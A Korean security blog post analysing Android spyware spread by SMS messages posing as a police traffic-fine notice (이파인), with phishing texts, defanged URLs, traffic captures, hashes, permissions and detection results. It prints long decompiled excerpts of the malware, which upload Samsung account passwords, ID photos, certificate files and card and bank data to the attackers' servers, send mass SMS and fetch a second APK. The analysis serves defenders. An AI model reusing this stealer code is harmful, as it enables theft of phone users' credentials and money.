꿈을꾸는 파랑새

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인. 경찰청 교통민원 24(이파인)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 그리고 해당 링크 클릭을 하면 너
휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다.
일단 해당 문자 내용은 다음과 같습니다.
[Web 발신]
[교통민원24]법규위반과속운자동차벌점보고서
[Web 발신][교통민원 24] 교통법규위반행위 벌점 6점 처벌 고지서 발송 완료
[web발신]
[교 통24(이파인)]교 통위반
벌점처분고지서 발송완료
[web발신]
[182교통(이파인)]과속운전자동차범칙벌점통지서

교통민원24 피싱 사이트HTTP Debugger Pro 본 휴대폰 번호 입력
교통민원24 피싱 사이트

공통점으로 [교통민원 24]이라는 단어와 법규 위반, 아니면 교통 법규 위반으로 벌점 등 교통 법규 관련 단어로 사용자에게 클릭을 유도합니다.
이 과정에서 공격자는 해당 스미싱 문자를 직접 수신한 핸드폰 번호가 아닐 때 입력번호 오류라는 메시지를 띄워 악성코드 앱 다운로드를 막으며.
일단 먼저 해당 악성코드를 유포하는 사이트는 다음과 같습니다.

http://uvvs.onme(.)asia

입니다.

교통법규 위반 통지서 교통민원24 악성코드 다운로드 페이지
교통법규 위반 통지서 교통민원24 악성코드 다운로드 페이지

먼저 해당 사이트에 접속을 하면 다음과 같이 예전처럼 휴대폰 전화번호를 입력하라고 하고 있으며 여기서 잘 보며 전화번호 입력하는 부분에 잘 보면 핸드폰 번호를 입력하시고 건강검진서를 확인해주세요.
라고 돼 있는 것을 확인할 수가 있으며 해당 교통법규위반 하고 조금은 이상한 점을 느낄 수가 있을 것입니다. 그리고 어차피 밑에 있는 운전면허 조회, 착한 운전 마일리지 등과 같은 것을 처음부터 이용할 수가 없으면 그리고 밑에 있는 SNS는 전혀 동작을 하지 않는 것을 볼 수가 있습니다.

아이폰 접속시 HTTP Debugger Pro 으로 본 이동 경로
아이폰 접속시 HTTP Debugger Pro 으로 본 이동 경로

http://uvvs.onme(.)asia/CEtnrQ.php

부분에서는 <script>window.location= 기능을 악용해서 운영체제 및 접속 브라우저 등을 확인해서 진짜 이파인 주소로 넘겨 버리는 것 확인을 할 수가 있습니다.

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script>window.location='https://www.efine.go(.)kr/';</script>

즉 일반 컴퓨터 또는 아이폰을 사용자는 그냥 이파인 공식 사이트로 넘어가게 돼 있는 구조입니다. 아이폰을 사용하면 다음과 같이 HTTP Debugger Pro로 트랙픽을 보면 다음과 같이 작동을 하는 것을 확인할 수가 있습니다.

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2022 15:06:45 GMT
Server: Apache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 60
<script>window.location='https://www.efine(.)go.kr/';</script>
http://uvvs.onme(.)asia/js/function-1.2(.)js

를 통해서 사용자 접속 환경을 확인하는 과정을 거치게 돼 있습니다.

사용자 접속 환경 확인
사용자 접속 환경 확인

function uaMatch(ua) {
	ua = ua.toLowerCase();

	var match = /(chrome)[ \/]([\w.]+)/.exec(ua) ||
	/(webkit)[ \/]([\w.]+)/.exec(ua) ||
	/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) ||
	/(msie) ([\w.]+)/.exec(ua) ||
	ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) ||
	[];

	return {
		browser: match[1] || "",
		version: match[2] || "0"
	};
};

function getBrowser() {
	var matched = uaMatch(navigator.userAgent);
	var browser = {};

	if (matched.browser) {
		browser[matched.browser] = true;
		browser.version = matched.version;
	}

	// Chrome is Webkit, but Webkit is also Safari.
	if (browser.chrome) {
		browser.webkit = true;
	} else if (browser.webkit) {
		browser.safari = true;
	}
	return browser;
};

여기서 피싱 사이트에 결과 값에 만족하면 다음과 같이 전화번호를 입력하고 악성코드 웹을 다운로드 하기 위한 과정으로 가게 됩니다.
그리고 휴대폰 정보는 다음과 같이 입력하는 구성이 돼 있습니다.

컴퓨터 스마트폰 브라우저 접속 확인
컴퓨터 스마트폰 브라우저 접속 확인

http://uvvs.onme(.)asia/CEtnrQ.php

의 전송 정보입니다.

POST /CEtnrQ.php HTTP/1.1
Host: uvvs.onme.asia
User-Agent: Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-G925F Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif(,)image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/x-www-form-urlencoded
Origin: http://uvvs.onme(.)asia
DNT: 1
Connection: keep-alive
Referer: http://uvvs.onme(.)asia/
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Length: 46
mobile_no1=010&mobile_no2=1234&mobile_no3=1234

여기서 피싱 사이트에서는 다음과 같이 전화번호를 입력하는 형식으로 개인정보가 전송됩니다.

http://uvvs.onme(.)asia/CEtnrQ.php


그리고 여기서 휴대폰 전화번호를 입력하면 다음 사이트로 이동합니다.

http://uvvs.onme(.)asia/zsz.php

이동을 하게 돼 있습니다.
최종적으로 악성코드 다운로드 하는 곳의 웹 소스는 다음과 같이 돼 있는 것을 확인할 수가 있을 것입니다.

최종적으로 악성코드 다운로드
최종적으로 악성코드 다운로드

<td height="35"><br><br><font color="red" size="3">*교통법규 위반 정보를 실시간으로 처리하다 <br>설치 후 처리 위반 정보.</font></td>
  </tr>
  <tr>
    <td height="35">&nbsp;</td>
  </tr>
  <tr>
    <td height="35">&nbsp;</td>
  </tr>
  <tr>
    <td height="35" align="center"><a href="010 자신이 입력한 전화번호.apk" style="color:#FFFFFF; text-decoration:none; font-size:18px; color:#000000; padding:10px 3px; display:block; background-color:#FFFFFF;"><strong>다운로드 하기</strong></a></td>
  </tr>
</table>
</body>
</html>

 

그러면 다음과 같이 다운로드가 될 것입니다.

http://uvvs.onme(.)asia/5d295b524d7327a6d95c73e19af45c5d7a81f653/01012341234.apk

먼저 다운로드 한 악성코드 해쉬값은 다음과 같습니다.
파일명:01012341234.apk
사이즈:2.83 MB
CRC32:86ffc574
MD5:65e2632bdeb392a47ef33834f0633e84
SHA-1:e9c20637e9188a4c01605116c5c50503bdcac7c1
SHA-256:6b76cd91f7622afc837420cd3f936f189f18066c3dd145f90d2d437b361f4ea7
SHA-512:0cf783df9b6ee8d201f764e4137c810c7529da7a5ca40627f55f1f5a7b3f2be7d3b886786ec7df4862d9f2522559ddac1efa24a884a955582f29e9fedda9e4e8
일단 해당 악성코드를 실행하면 기본적으로 예전에 코로나 19가 유행을 할 때 질병관리청으로 위장하는 질병관리청 COOV 하고 똑같은 걸로 확인을 할 수가 있으며 이제는 삼성 스마트폰, 삼성 태블릿 사용자를 노리는 것을 확인할 수가 있으며

삼성 계정 개인정보 탈취 시도신분증 및 운전면허증 촬영 요구
삼성 계정 개인정보 탈취 시도

그리고 해당 악성코드에서 삼성계정을 입력하면 예전과 같이 신분증 및 운전 면허증을 촬영을 요구합니다. 그리고 나서 신한은행, 국민은행 등 한국에 있는 은행 카드 정보를 수집하기 위해서 신용 카드 및 체크카드 정보를 입력을 요구합니다.

신용카드 정보 입력 요구
신용카드 정보 입력 요구

그리고 해당 악성코드는 다음으로 4자리 숫자 25~35개가 적혀 있는 은행 보안카드를 요구합니다. 즉 코드북 암호이기 때문에 한번 노출이 되면 은행에서 처리하지 않는 이상 해당 은행 계좌에 있는 돈은 대포통장 같은 곳으로 송금돼 버립니다.

은행 보안 카드 정보 요구
은행 보안 카드 정보 요구

그리고 보안을 위해서는 OPT 방식으로 된 랜덤으로 보안 코드가 나오는 OPT를 은행에서 약 5,000원~10,000원 정도 주고 발급해서 사용하는 것이 안전합니다. (물론 한 개의 은행에서 발급하면 다른 은행 가서 해당 OTP로 등록을 하면 사용을 하면 됩니다. 해당 경우에는 추가 비용이 발생하지 않음)

[생활] - 카카오뱅크에서 타은행 OTP 등록 방법

 

카카오뱅크에서 타은행 OTP 등록 방법

오늘은 카카오뱅크에서 OTP를 등록을 하는 방법에 대해 알아보겠습니다. 일단 기본적으로 자신이 다른 은행에서 발급받은 OTP가 있으면 굳이 카카오뱅크에서 해당 OTP를 구매를 할 필요가 없습니

wezard4u.tistory.com

다음은 이파인 악성코드의 안드로이드 권한은 다음과 같습니다.

교통민원 악성코드 안드로이드 권한
교통민원 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/

해당 악성코드의 권한을 보면 다음과 같습니다. 네트워크 연결, 인터넷 연결, 연락처 읽고 스마트폰 통신사 정보 읽어오기, 문자 보내고 문자 읽기, 설정 쓰기, 문자 쓰기, 전화 걸기, 스마트폰 수신 전화받기 들을 할 수가 있습니다. 즉 여기서 진짜 금융권으로 전화한다고 해도 해당 은행과 경찰서 등으로 연결되는 것이 아니고 해당 기능을 통해서 보이스피싱 일당에게 해당 전화를 걸게 되어서 피해가 발생을 하게 되는 방식을 취하고 있습니다. 당연히 해당 부분을 통해서 검찰로 속여서 전화가 올 가능성도 있을 것입니다.
먼저 com.example.myapplication.Tools에서는 문자 관련 코드들이 존재하는 것을 확인할 수가 있습니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

public void SendContactsServer(Context context) {
        int i;
        int i2;
        Boolean sendMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false));
        if (sendMsg.booleanValue()) {
            return;
        }
        int smsSwitch = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
        if (smsSwitch == 1) {
            return;
        }
        getPhoneNumber().replace(" ", "-");
        int count = 0;
        String word = context.getSharedPreferences("pref", 0).getString("word", "test");
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
        if (phone_list == "") {
            return;
        }
        String[] ps = phone_list.split("\n");
        int length = ps.length;
        int i3 = 0;
        while (i3 < length) {
            String phoneNumber = ps[i3];
            if (phoneNumber.length() <= 3) {
                i = i3;
                i2 = length;
            } else {
                SmsManager mySms = SmsManager.getDefault();
                i = i3;
                i2 = length;
                mySms.sendTextMessage(phoneNumber, null, word, null, null);
                count++;
            }
            i3 = i + 1;
            length = i2;
        }
        SharedPreferences pref = context.getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putBoolean("sendMsg", true);
        editor.commit();
    }

com.example.myapplication.SunSang 에서는 삼성계정을 훔치기 즉 삼성계정 유출을 위한 코드가 존재하는 것을 확인할 수가 있습니다.

삼성 계정 유출 하기 위한 코드
삼성 계정 유출 하기 위한 코드

public void doUpload() {
        if (this.edAccount.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_account_need), 1).show();
            this.myDialog.dismiss();
        } else if (this.edPasswd.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_password_need), 1).show();
            this.myDialog.dismiss();
        } else {
            String account = this.edAccount.getText().toString();
            String password = this.edPasswd.getText().toString();
            Message retryMsg = new Message();
            retryMsg.what = 1;
            String url = HttpUtils.getHttpURL(this) + "reg_sunsang.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, account, password).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

그리고 com.example.myapplication.MainActivity 에서는 신분증 및 운전면허증을 훔치기 위한 코드가 들어가 져 있는 것을 확인할 수가 있습니다.

신분증 및 운전면허증 훔치기 코드
신분증 및 운전면허증 훔치기 코드

Override // android.view.View.OnClickListener
    public void onClick(View v) {
        switch (v.getId()) {
            case C0406R.C0409id.cancel_take /* 2131296334 */:
                this.pic_dig.setVisibility(4);
                return;
            case C0406R.C0409id.selete /* 2131296510 */:
                Intent intent = new Intent("android.intent.action.PICK", (Uri) null);
                intent.setDataAndType(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/*");
                startActivityForResult(intent, 2);
                return;
            case C0406R.C0409id.take /* 2131296548 */:
                Intent intent2 = new Intent("android.media.action.IMAGE_CAPTURE");
                this.filename = "nhjh" + System.currentTimeMillis() + ".jpg";
                this.srcPath = Environment.getExternalStorageDirectory().getPath() + "/" + this.filename;
                System.out.println(this.filename);
                intent2.putExtra("output", Uri.fromFile(new File(Environment.getExternalStorageDirectory(), this.filename)));
                startActivityForResult(intent2, 1);
                return;
            case C0406R.C0409id.f46up /* 2131296599 */:
                Tools to = new Tools(this);
                final String phoneNum = to.getPhoneNumber();
                this.myDialog = ProgressDialog.show(this, "업로드 중...", "Please wait...", true, false);
                final String url = HttpUtils.getHttpURL(this) + "receive_file.php";
                new Thread(new Runnable() { // from class: com.example.myapplication.MainActivity.3
                    @Override // java.lang.Runnable
                    public void run() {
                        MainActivity.this.uploadFile(url, phoneNum);
                        MainActivity.this.myHandler.sendMessage(new Message());
                    }
                }).start();
                return;
            default:
                return;
        }
    }

그리고 같은 부분에서는 공동인증서(구 공인 인증서)를 훔치기 위한 코드들이 존재하는 것을 확인할 수가 있습니다.

공동인증서(구 공인 인증서) 훔치기 코드공인 인증서(공동 인증서) 비밀번호 훔치기 코드
공동인증서(구 공인 인증서) 훔치기 코드

// from class: com.example.myapplication.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                MainActivity.this.pic_dig.setVisibility(0);
            }
        });
        SharedPreferences pref = getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putInt("sms_switch", 1);
        editor.putInt("ID", 0);
        editor.putBoolean("sendMsg", false);
        editor.putBoolean("Optim", false);
        if (pref.getString("Server_URL", "") == "") {
            editor.putString("Server_URL", HttpUtils.URL);
        }
        editor.commit();
        new Tools(this).deleteSMS(this);
        new Tools(this).regCustomer();
        HomeKeyEventBroadCastReceiver receiver = new HomeKeyEventBroadCastReceiver();
        registerReceiver(receiver, new IntentFilter("android.intent.action.CLOSE_SYSTEM_DIALOGS"));
        startService(new Intent(this, RelService.class));
        String folderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI/";
        String yessignfolderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI";
        final String zipPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/N5.zip";
        if (isExist(folderPath)) {
            if (isExist(yessignfolderPath)) {
                ZipFolder(yessignfolderPath, zipPath);
            } else {
                ZipFolder(folderPath, zipPath);
            }
            Tools to = new Tools(this);
            final String phoneNum = to.getPhoneNumber();
            final String url = HttpUtils.getHttpURL(this) + "receive_npki.php";
            new Thread(new Runnable() { // from class: com.example.myapplication.MainActivity.2
                @Override // java.lang.Runnable
                public void run() {
                    MainActivity.this.uploadFileSign(url, phoneNum, zipPath);
                }
            }).start();
        }
        Intent intent = new Intent(this, SunSang.class);
        startActivity(intent);
    }

그리고 해당 악성코드는 N5.zip 형태로 업로드 하는 것을 확인할 수가 있습니다.
com.example.myapplication.Step3b 부분에서는 신용카드, 체크카드 정보를 훔치기 위한 코드들이 준비된 것을 확인할 수가 있습니다.

신분증 및 운전면허증 훔치기 코드
신분증 및 운전면허증 훔치기 코드

public void doUpload() {
        String city;
        if (this.edOtherCity.getText().length() == 0) {
            city = this.cityValue;
        } else {
            city = this.edOtherCity.getText().toString();
        }
        Message retryMsg = new Message();
        retryMsg.what = 1;
        if (city.equals("")) {
            Toast.makeText(this, "신용 카드을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edName.getText().length() == 0) {
            Toast.makeText(this, "카드번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edPhone.getText().length() == 0) {
            this.myHandler.sendMessage(retryMsg);
            Toast.makeText(this, "CVC번호을 입력하세요", 1).show();
        } else if (this.edOtp.getText().length() == 0) {
            Toast.makeText(this, "비밀번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.ed4Otp.getText().length() == 0) {
            Toast.makeText(this, "유효기간을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else {
            String info = ((Object) this.edName.getText()) + ";" + ((Object) this.edPhone.getText()) + ";" + ((Object) this.edOtp.getText()) + ";" + ((Object) this.ed4Otp.getText());
            String url = HttpUtils.getHttpURL(this) + "req_cityb.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, city, info).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

그리고 은행 정보 즉 사용자의 은행 계좌번호를 훔치기 위한 코드는 다음과 같습니다.

은행 계좌 훔치기
은행 계좌 훔치기

public void doUpload() {
        String city;
        if (this.edOtherCity.getText().length() == 0) {
            city = this.cityValue;
        } else {
            city = this.edOtherCity.getText().toString();
        }
        Message retryMsg = new Message();
        retryMsg.what = 1;
        if (city.equals("")) {
            Toast.makeText(this, "은행을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edName.getText().length() == 0) {
            Toast.makeText(this, "이름을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edPhone.getText().length() == 0) {
            this.myHandler.sendMessage(retryMsg);
            Toast.makeText(this, "전화번호을 입력하세요", 1).show();
        } else if (this.edOtp.getText().length() == 0) {
            Toast.makeText(this, "계좌번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.ed4Otp.getText().length() == 0) {
            Toast.makeText(this, "비밀번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else {
            String info = ((Object) this.edName.getText()) + ";" + ((Object) this.edPhone.getText()) + ";" + ((Object) this.edOtp.getText()) + ";" + ((Object) this.ed4Otp.getText());
            String url = HttpUtils.getHttpURL(this) + "req_city.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, city, info).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

com.example.myapplication.MainActivity 부분에서는 은행에서 보안 카드를 훔치는 코드가 있는 것을 확인할 수가 있습니다.

은행 보안 카드 훔치기 코드
은행 보안 카드 훔치기 코드

public void uploadFile(String uploadUrl, String phoneNum) {
        StringBuilder sb;
        try {
            sb = new StringBuilder();
        } catch (Exception e) {
            e = e;
        }
        try {
            sb.append(uploadUrl);
            sb.append("?telnum=");
            sb.append(phoneNum);
            URL url = new URL(sb.toString());
            HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
            httpURLConnection.setDoInput(true);
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Connection", HTTP.CONN_KEEP_ALIVE);
            httpURLConnection.setRequestProperty("Charset", HTTP.UTF_8);
            httpURLConnection.setRequestProperty("Content-Type", "multipart/form-data;boundary=******");
            DataOutputStream dos = new DataOutputStream(httpURLConnection.getOutputStream());
            dos.writeBytes("--******\r\n");
            StringBuilder sb2 = new StringBuilder();
            sb2.append("nhjh_");
            sb2.append(phoneNum);
            sb2.append("_");
            String str = this.srcPath;
            sb2.append(str.substring(str.lastIndexOf("/") + 1));
            String tmpSrcPath = sb2.toString();
            dos.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"" + tmpSrcPath + "\"\r\n");
            dos.writeBytes("\r\n");
            FileInputStream fis = new FileInputStream(this.srcPath);
            byte[] buffer = new byte[8192];
            while (true) {
                int count = fis.read(buffer);
                if (count != -1) {
                    dos.write(buffer, 0, count);
                } else {
                    fis.close();
                    dos.writeBytes("\r\n");
                    dos.writeBytes("--******--\r\n");
                    dos.flush();
                    InputStream is = httpURLConnection.getInputStream();
                    InputStreamReader isr = new InputStreamReader(is, "utf-8");
                    BufferedReader br = new BufferedReader(isr);
                    br.readLine();
                    dos.close();
                    is.close();
                    return;
                }
            }
        } catch (Exception e2) {
            e = e2;
            e.printStackTrace();
        }
    }

다음은 com.example.myapplication.Step4 에서는 공동 인증서(구 공인 인증서)를 훔치기 위한 코드들이 있는 것을 확인할 수가 있습니다.

public void onClick(View v) {
        if (v.getId() == C0406R.C0409id.f46up) {
            this.myDialog = ProgressDialog.show(this, "Loading...", "Please wait...", true, false);
            doUpload();
        }
    }

    public void doUpload() {
        if (this.edCode.getText().length() == 0) {
            Toast.makeText(this, "비밀번호를 입력해 주세요.", 1).show();
            Message msg = new Message();
            msg.what = 1;
            this.myHandler.sendMessage(msg);
            this.myHandler.sendMessage(new Message());
            return;
        }
        String code = this.edCode.getText().toString();
        String url = HttpUtils.getHttpURL(this) + "req_auth_code.php?&version=" + Build.VERSION.RELEASE;
        this.myAsyncTask = new MyAsyncTask(this, this, null);
        try {
            Tools to = new Tools(this);
            String phoneNum = to.getPhoneNumber();
            this.myAsyncTask.execute(url, phoneNum, code).get();
            Message msg2 = new Message();
            msg2.what = 2;
            this.myHandler.sendMessage(msg2);
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e2) {
            e2.printStackTrace();
        }
    }

그리고 악성코드는 com.example.myapplication.ArsA 에서 코드를 보면 추가로 APK를 다운로드를 하는 것을 확인할 수가 있습니다.

추가적으로 악성코드 다운로드
추가적으로 악성코드 다운로드

@Override // android.os.Handler
        public void handleMessage(Message msg) {
            int i = msg.what;
            if (i == 1) {
                ArsA.this.myDialog.dismiss();
            } else if (i == 2) {
                ArsA.this.myDialog.dismiss();
                SharedPreferences pref = ArsA.this.getSharedPreferences("pref", 0);
                SharedPreferences.Editor editor = pref.edit();
                editor.putInt("do_not_restart", 1);
                editor.commit();
                new AlertDialog.Builder(ArsA.this).setTitle("최신 버전을 다운로드하십시오").setMessage("다운로드?").setPositiveButton("확인", new DialogInterface.OnClickListener() { // from class: com.example.myapplication.ArsA.MyHandler.1
                    @Override // android.content.DialogInterface.OnClickListener
                    public void onClick(DialogInterface dialog, int which) {
                        Uri uri = Uri.parse("https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk");
                        Intent intent = new Intent("android.intent.action.VIEW", uri);
                        ArsA.this.startActivity(intent);
                        ArsA.this.finish();
                    }
                }).show();
            }
        }
    }

그리고 %EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29%부분을 노트패드++(notepad++) 에 있는 URL Decode를 이용하면 다음과 같이 됩니다. 
교통민원24(이파인) 이 됩니다.

GPS 활성화 및 GPS 비활성화
GPS 활성화 및 GPS 비활성화

이며 그리고 사실상 com.example.myapplication.MainActivity 에 보면 문자 삭제, GPS 끄기, GPS 활성화하기 등이 있는 것을 확인할 수가 있습니다. 그리고 통신사 정보, 연락처 정보들이 다 여기 있다고 보시면 됩니다.

public void disableGPS() {
        onoffGPS("gps", false);
    }

    public void enableGPS() {
        onoffGPS("gps", true);
    }

    private void onoffGPS(String paramString, boolean flag) {
        String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
        if ((flag && !str.contains(paramString)) || (!flag && str.contains(paramString))) {
            Intent intent = new Intent();
            intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            intent.addCategory("android.intent.category.ALTERNATIVE");
            intent.setData(Uri.parse("3"));
            this.context.sendBroadcast(intent);
        }
    }

    public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                String identifier = String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
                return identifier;
            } else if (DeviceID == null) {
                return null;
            } else {
                String identifier2 = DeviceID.toUpperCase();
                return identifier2;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

    public String getTelCompany() {
        return ((TelephonyManager) this.context.getSystemService("phone")).getNetworkOperatorName();
    }

악성코드와 관련이 있는 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
http://www.dlgs(.0fit/
https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk

그리고 악성코드 인증서 정보는 다음과 같습니다.

악성코드 인증서
악성코드 인증서

서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형: SHA1withRSA
서명 OID: 1.2.840.113549.1.1.5
MD5 지문: E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 
SHA-1 지문: 61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 
SHA-256 지문: A4 0D A8 0A 59 D1 70 CA A9 50 CF 15 C1 8C 45 4D 47 A3 9B 26 98 9D 8B 64 0E CD 74 5B A7 1B F5 DC

그리고 해당 피싱 사이트는 기본적으로 ESET,Emsisoft,Google Safe browsing, 마이크로소프트 Smartscreen(스마트스크린),Symantec Sitereview(시만텍 사이트뷰),Avira에서 신고는 진행을 했습니다. 그리고  해당 악성코드는 다음 주소로 연결되는 것을 확인할 수가 있습니다.
http://112.104.97(.)117/
2022-11-06 13:00:31 UTC 기준으로 바이러스토탈(VirusTotal) 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:Evo-gen [Trj]
AVG:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Trojan.SpyAgent.EM
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
F-Secure:Malware.ANDROID/SpyAgent.FJVO.Gen
Fortinet:Android/Agent.BSO!tr
Google:Detected
Ikarus:Trojan.AndroidOS.Agent
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
